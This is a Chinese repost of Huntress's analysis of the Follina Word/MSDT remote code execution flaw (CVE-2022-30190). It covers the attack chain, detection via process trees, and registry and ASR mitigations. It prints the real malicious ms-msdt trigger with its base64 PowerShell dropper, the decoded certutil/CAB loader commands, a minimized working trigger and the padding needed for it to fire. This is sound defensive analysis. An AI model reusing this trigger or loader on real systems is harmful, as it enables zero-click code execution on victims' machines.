微软最新Office Word Follina漏洞介绍

admin 2025年1月17日14:02:28评论15 views字数 5198阅读17分19秒阅读模式

写在前面:这是这几天最火的漏洞,大家都在纷纷讨论,本文整体做了梳理,方便大家了解。

如果提及数字时代的艺术品,恶意软件无疑可以算作一类。

快速响应:Microsoft Office RCE -“Follina”MSDT攻击

事情经过

       在2022年4月12日,这个漏洞就报给了微软的安全响应团队,这些word文档假装来自俄罗斯卫星通讯社,向接受者提供了一次电台采访。

九天之后,微软似乎已经认定这个漏洞不代表安全问题,并宣布该问题已经解决。

但当@nao_sec在推特上发表之后, 引起大家注意

漏洞名字来自研究人员Kevin Beaumout,这个提交到VirusTotal的文档为05-2022-0438.doc,名字中有0438,0438是意大利威尼斯西北部城市Follina市的电话区号。

      目前已经发现有APT组织开始利用这个漏洞进行钓鱼邮件攻击。

漏洞分析

漏洞过程,Huntress的文档写得非常清楚,以它作为蓝本。

截止到东部时间 5月30日,微软已经将这个漏洞标为CVE-2022-30190,并做了安全更新和指导,但还没有补丁发布。

  • https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

  • https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-30190

概述

Huntress正在密切关注通过MSDT(微软诊断工具)和Microsoft Office word 使用零点击远程代码运行技术的威胁。在接下来的几天里,我们期待通过电子邮件发送的方式,公开漏洞测试。

在本文中,我们将讨论重建攻击载荷、检测工作和潜在的缓解步骤。

如果你正在寻求指导如何保证用户的安全,而不是深入解释漏洞,简短的回答是,有一个新发现微软Word(和其他可能MS Office应用程序)漏洞,可以安装恶意软件,所以他们应该特别警惕打开任何附件。他们还应该知道,这个漏洞可通过预览文件而触发,不需要任何点击(下载后)。在这篇文章的底部有一些关于缓解措施的额外建议。

漏洞说明

初始Word文档是一个空文档,但看属性时,包括指向恶意URL的外部参考点。

<Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="hxxps://www[.]xmlformats[.]com/office/word/2022/wordprocessingDrawing/RDF842l.html!" TargetMode="External"/>

Huntress团队获得了@nao_sec首先在Twitter上分享的样本,并检查了Word文档的内容。我们复制了这个漏洞,下面分享我们的发现。

解压文件,提取构成Office文档的所有组件。

微软最新Office Word Follina漏洞介绍

在 word/_rels/ 文件夹,有 document.xml.rels 文件, 包含外部参考:hxxps[:]//www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html!

微软最新Office Word Follina漏洞介绍

撰写本文时,这个网址已不存在,从@nao_sec的共享,我们能得知这个RDF842l.html的原始内容:

微软最新Office Word Follina漏洞介绍

文档开始是一个脚本标记,包含相当数量的A字符,开始以为只是注释,没有大的意义,但根据我们的测试,大量的字符,对漏洞成功很有必要。

最底部的脚本是:

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"";

这看起来是漏洞的关键,使用ms-msdt,通过参数IT_RebrowseForFile调用原生包PCWDiagnostic,其中包括嵌入在$()中的PowerShell语法。

Base64 解码后:

$cmd = "c:windowssystem32cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:userspublic&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";

       把文件路径下的cmd.exe作为变量,整个过程:

  • 开启隐藏窗口:

  • 如果msdt.exe在运行,就杀掉进程

  • 循环遍历RAR文件中的文件,查找Base64编码的CAB文件

  • 将这个Base64编码的CAB文件存储为1.t

  • 解码Base64编码的CAB文件,保存为1.c

  • 将1.c CAB文件展开到当前目录

  • 执行rgb.exe(可能压缩在1.c CAB文件中)

rgb.exe的影响还未知,但重要的是,这是一种新颖的初始访问技术,可以让受害者者只需点击一次或不需点击就可以执行代码。这种攻击很有吸引力,因为它隐藏在Microsoft Word文档中,没有宏来触发用户熟悉的告警,但具有运行远程代码的能力。

为了更好地理解这种威胁,Huntress安全研究人员修改了Word文档的内部结构,在分析沙箱中调用一个本地地址,并提供了一个良性的有效载荷,它将显示一条消息,而不是运行恶意软件。

微软最新Office Word Follina漏洞介绍

经过一些测试后,很明显,如果没有大量填充字符(HTML注释中出现的A),载荷将无法执行。我们探索了不同的变体,使用了不同的字符,并将注释块置于触发脚本代码的上方和下方……但直到社区介入,我们才明白为什么这是必要的。Rich Warren分享了Bill Demirkapi的一篇博客,指出HTML处理函数有一个硬编码的缓冲区大小,我们能够确认任何小于4096字节的文件都不会调用有效载荷。

在进一步修改之后,我们注意到脚本调用中使用的一些语法对于调用有效载荷不是必须。使用相同的有效载荷(打开Windows内置计算器作为成功的证明),我们可以将触发器缩小为:

location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe"";

看起来:

  • 在IT_BrowseForFile参数开始处,至少需要两个/../

  • 打包在$()中的代码将通过PowerShell执行,但空格会破坏它

  • ".exe"必须是IT_BrowseForFile参数末尾的最后一个字符串

虽然这并不是它所能压缩到的最大程度,但我们希望这能显示出这种攻击的变体是如何存在的。

注意,富文本格式文件(.rtf)仅通过Windows资源管理器中的预览功能就可以触发此漏洞。很像CVE-2021-40444,这扩展了这种威胁的严重性,不仅通过“单击”来利用,而且可能“零单击”触发。

微软最新Office Word Follina漏洞介绍

此外,有效载荷可以在远端。虽然这不太可能调用不可信的二进制文件,但连接仍将携带NTLM哈希(这意味着攻击者现在有受害者Windows密码的哈希)进行进一步的攻击。

微软最新Office Word Follina漏洞介绍

之前的研究人员通过对利用MSDT的其他方法的分析,为我们提供了这些潜在远程威胁的线索。

微软最新Office Word Follina漏洞介绍

请记住,这种攻击技术可以在普通用户模式下,当打开或导航到恶意文档时运行代码。这意味着对手开始时可能是低权限用户(没有管理权限),但随后可以使用这种访问来触发进一步的攻击,以提高权限并获得对目标环境的更多访问权。

        在可以部署补丁之前,教育用户识别和删除恶意电子邮件仍然是最好的防御措施。

检测工作

该攻击方式执行的有效载荷将在Microsoft Office父进程下创建msdt.exe的子进程。

微软最新Office Word Follina漏洞介绍

此外,sdiagnhost.exe进程将与conhost.exe子进程及其后续有效载荷进程一起派生(我们的良性的calc.exe将弹起并打开Calculator.exe metro应用程序)。

微软最新Office Word Follina漏洞介绍

缓解工作

虽然在撰写本文时还没有发布补丁,但您仍然可以采取缓解措施来限制攻击面。

如果在您的环境中使用Microsoft Defender的攻击面减少(ASR)规则,在阻止模式中激活“阻止所有Office应用程序创建子进程中”规则,将防止这一点被利用。但是,如果您还没有使用攻击面减少规则(ASR),您可能希望先在审计模式(Audit mode)下运行规则,并监视结果,以确保不会对最终用户造成不利影响。

另一个选择是删除ms-msdt的文件类型关联(可以在Windows 注册表HKCR:ms-msdt)。当恶意文档被打开时,Office将无法调用ms-msdt,从而阻止恶意软件运行。在使用此措施之前,请确保对注册表设置进行备份。

漏洞事件的非技术用语解释

如果您想知道如何与您的终端用户沟通此漏洞(甚至需要分析此漏洞以供您自己了解),要点如下:

  • 这是一个不知道从哪里冒出来的零日攻击,目前没有可用的补丁

  • 这个零日攻击的特点是远程代码执行,这意味着一旦该代码被引爆,攻击者可以提高自己的权限,并可能实现对受影响环境的“上帝模式”访问。

  • 现有的缓解措施是有些忙乱的变通方案,行业还没有时间研究其影响。它们涉及到更改Windows注册表的设置,这是一件严肃的事情,因为一个错误的注册表条目可能会损坏你的机器。

  • 引爆这个恶意代码很简单,只需预览模式打开Word文档。

微软对于漏洞的当前指南

禁用MSDT URL协议:

以管理员身份运行命令。

要备份注册表项,执行命令" reg export HKEY_CLASSES_ROOTms-msdt filename "

执行命令“reg delete HKEY_CLASSES_ROOTms-msdt /f”。

恢复:

以管理员身份运行命令。

要恢复注册表项,执行命令" reg import filename "

 摘自:

https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug

(完)

原文始发于微信公众号(安全行者老霍):微软最新Office Word Follina漏洞介绍

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月17日14:02:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   微软最新Office Word Follina漏洞介绍https://cn-sec.com/archives/1078586.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息